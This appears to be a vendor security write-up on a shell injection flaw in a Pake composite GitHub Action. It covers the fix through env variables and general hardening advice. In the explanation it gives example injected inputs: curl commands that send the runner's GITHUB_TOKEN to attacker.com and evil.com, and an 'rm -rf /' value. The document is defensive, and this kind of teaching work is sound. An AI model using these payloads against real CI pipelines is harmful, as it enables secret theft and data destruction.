Introduction
In the action.yml file of a Pake application builder — a composite GitHub Action that compiles web URLs into desktop apps — we discovered a high-severity shell injection vulnerability at line 68. The "Build Pake App" step directly interpolated seven ${{ inputs.* }} expressions into a bash run: script, constructing command-line arguments without any sanitization boundary:
run: |
ARGS=("${{ inputs.url }}")
ARGS+=("--name" "${{ inputs.name }}")
if [ -n "${{ inputs.icon }}" ]; then
ARGS+=("--icon" "${{ inputs.icon }}")
fi
ARGS+=("--width" "${{ inputs.width }}")
ARGS+=("--height" "${{ inputs.height }}")
Because GitHub Actions performs textual substitution of ${{ }} expressions before the shell interprets the script, any shell metacharacters in the input values become live shell syntax. For a public composite action consumed by downstream repositories, this means any user who can trigger the action with crafted inputs gains arbitrary code execution on the runner.
The Vulnerability Explained
How GitHub Actions Expression Interpolation Works
When you write ${{ inputs.url }} inside a run: block, GitHub's workflow engine replaces that token with the literal string value of the input before passing the script to bash. This is not like shell variable expansion — it's raw string concatenation into the script text.
Consider what happens if inputs.url contains:
https://example.com"; curl http://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #
After interpolation, the shell sees:
ARGS=("https://example.com"; curl http://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #")
The attacker has broken out of the string, injected an arbitrary curl command that exfiltrates the runner's GITHUB_TOKEN, and commented out the rest of the line.
Attack Scenario Specific to This Action
This action.yml is a composite action for building Pake desktop applications. An attacker could:
- Fork the repository or use the action in their own workflow with crafted inputs
- Set
inputs.nameto:myapp"; echo "$GITHUB_TOKEN" | base64 | curl -d @- https://evil.com/steal # - The "Build Pake App" step would execute the injected command on the runner
- The attacker captures the
GITHUB_TOKEN, any repository secrets passed to the workflow, and potentially the source code
Even the inputs.width and inputs.height fields — which appear numeric — are vulnerable because there's no type enforcement at the shell level. A value like 800"; rm -rf / # would be syntactically valid from the interpolation engine's perspective.
The Dangerous Pattern (Before Fix)
- name: Build Pake App
shell: bash
run: |
ARGS=("${{ inputs.url }}")
ARGS+=("--name" "${{ inputs.name }}")
if [ -n "${{ inputs.icon }}" ]; then
ARGS+=("--icon" "${{ inputs.icon }}")
fi
ARGS+=("--width" "${{ inputs.width }}")
ARGS+=("--height" "${{ inputs.height }}")
Every ${{ inputs.* }} here is an injection point. Seven total injection vectors in a single step.
The Fix
The fix applies the canonical mitigation for GitHub Actions shell injection: pass untrusted data through environment variables and reference them with proper shell quoting.
After Fix
- name: Build Pake App
id: build
shell: bash
env:
INPUT_URL: ${{ inputs.url }}
INPUT_NAME: ${{ inputs.name }}
INPUT_ICON: ${{ inputs.icon }}
INPUT_WIDTH: ${{ inputs.width }}
INPUT_HEIGHT: ${{ inputs.height }}
INPUT_DEBUG: ${{ inputs.debug }}
INPUT_OUTPUT_DIR: ${{ inputs.output-dir }}
run: |
if [[ "$INPUT_OUTPUT_DIR" == *$'\n'* || "$INPUT_OUTPUT_DIR" == *$'\r'* ]]; then
echo "❌ Output directory must not contain line breaks" >&2
exit 1
fi
ARGS=("$INPUT_URL")
ARGS+=("--name" "$INPUT_NAME")
if [ -n "$INPUT_ICON" ]; then
ARGS+=("--icon" "$INPUT_ICON")
fi
ARGS+=("--width" "$INPUT_WIDTH")
ARGS+=("--height" "$INPUT_HEIGHT")
Why This Works
When you use env:, GitHub Actions sets the value as an actual environment variable in the runner's process environment. The shell then accesses it via $INPUT_URL — standard shell variable expansion. Crucially:
- No textual substitution occurs in the script: The shell receives
"$INPUT_URL"as literal script text - Double quotes prevent word splitting and globbing:
"$INPUT_URL"is always treated as a single string, regardless of spaces or special characters in the value - Shell metacharacters are not interpreted: Characters like
;,|,$(), and backticks inside the variable value remain inert data
Additional Hardening
The fix also includes:
- Newline validation on
INPUT_OUTPUT_DIRto prevent argument injection via line breaks in the$GITHUB_OUTPUTfile - Quoting
$GITHUB_PATHin the Rust installation step:echo "$HOME/.cargo/bin" >> "$GITHUB_PATH"(prevents issues ifGITHUB_PATHcontains spaces) - Safer rustup installation: Downloads to a temp file with a cleanup trap instead of piping
curldirectly tosh
Prevention & Best Practices
Rules for GitHub Actions Security
-
Never use
${{ }}inrun:steps with untrusted data — this includesgithub.event.pull_request.title,github.event.issue.body,inputs.*in reusable/composite actions, and anygithub.event.*.head.ref -
Always use
env:as an intermediary:
yaml env: UNTRUSTED_VALUE: ${{ github.event.pull_request.title }} run: echo "$UNTRUSTED_VALUE" -
Always double-quote environment variables in shell scripts — even if you think the value is safe
-
Validate inputs before using them, especially for path-like values that might contain newlines (which can inject into
$GITHUB_OUTPUTor$GITHUB_PATH) -
Use
${{ }}safely only inif:conditions,with:parameters to other actions, andenv:value assignments — contexts where the value isn't interpreted as shell code
Detection Tools
- Semgrep: Rule
yaml.github-actions.security.run-shell-injection.run-shell-injectioncatches this exact pattern - CodeQL: GitHub's own
actions/code-injectionquery - actionlint: Linter specifically for GitHub Actions workflows
Key Takeaways
- Seven injection points existed in a single
run:step — theinputs.url,inputs.name,inputs.icon,inputs.width,inputs.height,inputs.debug, andinputs.output-dirvalues were all directly interpolated into bash - Even "numeric" inputs like width/height are exploitable because GitHub Actions inputs are always strings with no type enforcement at the interpolation layer
- The
env:block is the security boundary — it converts dangerous textual interpolation into safe environment variable assignment - Composite actions are especially risky because they're designed to be consumed by other repositories, widening the attack surface to anyone who can trigger the action
- Defensive hardening matters even without a known exploit — automated attack tooling can chain this primitive with other weaknesses to achieve full compromise
How Orbis AppSec Detected This
- Source: User-controlled
inputs.*values (specificallyinputs.url,inputs.name,inputs.icon,inputs.width,inputs.height,inputs.debug,inputs.output-dir) flowing from the composite action's input definitions - Sink: Direct
${{ inputs.* }}interpolation in therun:step ataction.yml:68, where the values become executable shell code - Missing control: No intermediate environment variable assignment; no quoting boundary between user data and shell syntax
- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Fix: Replaced all seven
${{ inputs.* }}interpolations in therun:script with double-quoted environment variables populated via theenv:block
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability demonstrates how a seemingly innocuous pattern — using ${{ inputs.url }} in a bash script — creates a direct code injection vector in GitHub Actions. The fix is straightforward: use env: to bridge untrusted data into the shell environment, then reference it with proper quoting. For composite actions that are consumed by the broader community, this hardening is especially critical because any user who can trigger the action controls the input values.
If you maintain GitHub Actions workflows or composite actions, audit every run: step for direct ${{ }} interpolation of untrusted context data. The pattern is common, the fix is simple, and the risk of leaving it unfixed grows as automated exploit tooling becomes more sophisticated.
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- GitHub Security Lab: Script injection in GitHub Actions
- GitHub Docs: Security hardening for GitHub Actions
- Semgrep Rule: run-shell-injection
- OWASP Command Injection
- harden: using variable interpolation `${{ in action.yml... (PR link)